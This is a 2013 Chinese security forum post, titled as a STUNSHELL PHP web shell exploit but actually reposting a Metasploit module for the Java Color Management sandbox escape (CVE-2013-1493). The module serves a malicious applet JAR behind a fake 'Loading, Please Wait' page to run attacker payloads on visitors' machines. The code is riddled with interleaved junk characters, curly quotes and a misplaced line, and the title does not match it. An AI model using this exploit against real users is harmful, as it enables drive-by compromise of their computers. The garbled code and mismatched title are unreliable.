找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2406|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
8 g8 |+ D1 V3 |- e4 x2 X* D
4 F. W+ |- I* I1 ^% n2 R6 l7 q# This file is part of the Metasploit Framework and may be subject to
" n/ D! c! P: A/ F7 q" C* ~! b# redistribution and commercial restrictions. Please see the Metasploit  H, n9 I6 n7 x7 |! H& b6 h
# web site for more information on licensing and terms of use.) {# R. `6 N+ j4 ]
# http://metasploit.com/
( \' L; r$ c1 _##
* x- U6 \. Q- ~( brequire ‘msf/core’
- p% b; V0 U' h0 U; [% krequire ‘rex’
% b% y0 m) e- v* g9 b' ~/ bclass Metasploit3 < Msf::Exploit::Remote7 A$ M* y7 K3 z, `; C9 ?4 W, W
Rank = NormalRanking4 v2 h+ ?/ F1 Y7 d' u
include Msf::Exploit::Remote::HttpServer::HTML3 X  }  Q7 c. c
include Msf::Exploit::EXE7 ~; ^+ @# S2 F/ b* _6 h
include Msf::Exploit::Remote::BrowserAutopwn
* t( I- `5 f" |1 z# G; q) O5 mautopwn_info({ :javascript => false })$ K3 ]8 d- H4 _. v' T
def initialize( info = {} )- h! X( R7 W6 G: O0 j
super( update_info( info,
% A2 o( U$ C/ O, C+ `: j8 p‘Name’ => ‘Java CMM Remote Code Execution’,
1 S, i. l% v6 A( B( d% f‘Description’ => %q{
  z/ x9 p) ]/ E6 s; @: D2 uThis module abuses the Color Management classes from a Java Applet to run0 p9 ?" E  {2 U, X- B! j& ~: d
arbitrary Java code outside of the sandbox as exploited in the wild in February5 h5 Y/ h2 S" R2 J
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
% F* _5 a5 I; L7 {# X! |' ^and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
! Y3 w) U# V; u2 Q0 Ksystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
' I, O2 n+ S' @  o0 m0 g' \& Zwarning in order to run the malicious applet.! \* d0 t3 n" h8 h' ?9 H: d' }
},
9 H4 }3 b$ Y; {' M) W2 |‘License’ => MSF_LICENSE,  i. O3 G$ N: y* l- Q
‘Author’ =>4 |3 l. \! A2 a' q; j
'Unknown', # Vulnerability discovery and Exploit  r5 d$ w! {6 ~: l' L: m% Z8 @
'juan vazquez' # Metasploit module (just ported the published exploit)
6 d7 J- }+ `$ n% c1 X# \8 `],/ w( o! u" C5 u4 F6 T4 j; `4 M0 q9 H( P
‘References’ =>- r! D  [: h! r8 u) f/ @
[
2 I2 h5 B6 {( @- t/ a[ 'CVE', '2013-1493' ],
/ n3 s9 C% m4 h) P# O[ 'OSVDB', '90737' ],
, o2 w  }" Y, F) f+ t& u[ 'BID', '58238' ],
1 j3 T" R8 @. N) o[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
* @* E: ^: w( K7 m+ a! v& K[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
1 k2 h% {& `/ [- K3 K" |2 I[ 'URL', 'http://pastie.org/pastes/6581034' ]7 n: F8 K- ?% ^7 Q* v/ Z1 a
],
9 Z0 g: a* N4 c2 N( B6 j3 j1 o‘Platform’ => [ 'win', 'java' ],
+ [; B1 ~- y3 r9 b% j‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
, v* z# f& c# G‘Targets’ =>
' r- I% d) ~5 B) n+ X4 j8 s. H[
1 i4 `7 Z- b/ n3 K$ J; B) x7 h( E# ?[ 'Generic (Java Payload)',4 J& \+ {5 f1 r2 j* O( n- C
{
; t9 J, W9 ^; s'Platform' => 'java',4 `! R8 o; S5 J! Z
'Arch' => ARCH_JAVA
7 U- `* d2 u( r) B# j}
3 H9 y+ O# l, X2 w],7 d2 i+ L% Y: D
[ 'Windows x86 (Native Payload)',
5 ^+ @4 K! R4 O  z9 R1 e' C  `{
6 f) s- b/ @) _+ C# ?* N3 z'Platform' => 'win',
7 |1 t" d, ?: o! i* ^$ r  q'Arch' => ARCH_X86
9 Z. Y9 ?8 W" `% w" s}9 L. S) C+ c" Y! `# {5 E
]# ?9 b& o1 F' t8 ^
],2 K+ Z% i1 X) \
‘‘DisclosureDate’ => ‘Mar 01 2013′
% A% G2 [: c1 H0 ^))
( `+ B  P* g9 V  e0 J+ R& tend6 ~- Q2 E; F. r. U8 S# }! j- J) |
def setup# d9 q2 P6 [$ @
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)6 f: ]0 s1 R9 |9 W" P4 C! j
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }2 t' t( j* i& F
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
; Z8 W, d: h3 D0 F4 x* n@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }( L5 P3 i  C+ l8 L& @# I
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
9 z* W6 A3 E9 ^6 [* R5 d@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }8 p" b" l% i7 j1 R) w. f4 p
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)& x6 y) W% }! Z( p7 ]9 ^- L  |4 w
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }! R( ^" Y( Z% o: ~# c$ Y& b
@init_class_name = rand_text_alpha(“Init”.length)0 m* o  n; Z7 b+ h, Y
@init_class.gsub!(“Init”, @init_class_name)
8 n* x" L, |$ @& n; ^1 @. a3 Jsuper
+ m' a2 X( x# A. e# J; Zend1 |+ ?8 O4 c8 K% y& w- M, E
def on_request_uri(cli, request)5 t+ M9 B, ^1 r0 m1 M( w
print_status(“handling request for #{request.uri}”)
3 o: C7 w1 ^0 L, f) Q( Ecase request.uri# s5 j" b. ^2 C
when /\.jar$/i$ u9 W! }, [+ q
jar = payload.encoded_jar
0 _& n& p7 S9 g1 f) W0 ?jar.add_file(“#{@init_class_name}.class”, @init_class)2 _$ H6 Q) [7 f1 w( a+ r
jar.add_file(“Leak.class”, @leak_class), Y& r6 ^. {* Q' z1 z
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)) ]5 t+ F" o* |  ~
jar.add_file(“MyColorSpace.class”, @color_space_class)
# X* p9 B9 `9 K9 M" C4 Q; T' p) U4 O* ?6 b) iDefaultTarget’ => 1,
2 k8 v( `( w; `- S& B; k5 ?metasploit_str = rand_text_alpha(“metasploit”.length)( U8 Q+ x4 f: Z% v( Z1 F0 f6 |
payload_str = rand_text_alpha(“payload”.length)
7 ~/ |5 Z9 r5 w* k% ^' v# ajar.entries.each { |entry|7 ]9 }  D* J1 Q9 G8 C% B
entry.name.gsub!(“metasploit”, metasploit_str)( v/ K% T3 M7 v  {1 s: i8 n) e  _
entry.name.gsub!(“Payload”, payload_str)" _  k% D& c7 u* Z. F
entry.data = entry.data.gsub(“metasploit”, metasploit_str)0 x; P7 x* s: P. z
entry.data = entry.data.gsub(“Payload”, payload_str)5 @; \: [2 F& }3 p/ t  M
}
- ^; R) t7 I6 i! _: v, Ljar.build_manifest  _( ~. D; Y% g; _2 r! b
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
1 n0 x2 S: B" M' A0 ^5 M3 a- Awhen /\/$/  |/ u, }/ @& A, Z3 r
payload = regenerate_payload(cli)
" Z2 p: ?2 ]# S) \if not payload
# `. X9 Y  l: Fprint_error(“Failed to generate the payload.”). y0 S$ H/ {. _* C
send_not_found(cli)
' i3 i- K" k. A; q" F. lreturn+ w9 L# n6 I- u( ]* D; D6 {
end: {# [2 _! p  s" B  a5 F* g8 B
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })6 x+ g+ D+ }$ d
else8 @; O/ q" V6 f' W& j( c* }
send_redirect(cli, get_resource() + ‘/’, ”)
- J6 m* P: q" F& |- @% n2 fend
) r9 m% r  U/ ], a; G) Gend
$ P$ t. U0 t5 E9 A  A1 x9 n+ J6 T  Ydef generate_html
5 \5 h% G9 D& Q8 e5 \! K* nhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|1 e8 A% s" K1 A/ c; x6 |3 Q7 s
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|% R0 J3 P+ u4 V4 r2 [
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
/ v- A5 L0 M+ khtml += %Q|</applet></body></html>|
2 U, [/ Z' P- _0 q; e! Greturn html
* z3 o% s( F2 G8 xend
! |% \. x. G1 j9 `; hend
; s6 E$ G$ d" o( r  u  Zend+ W+ M  ~1 q- O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表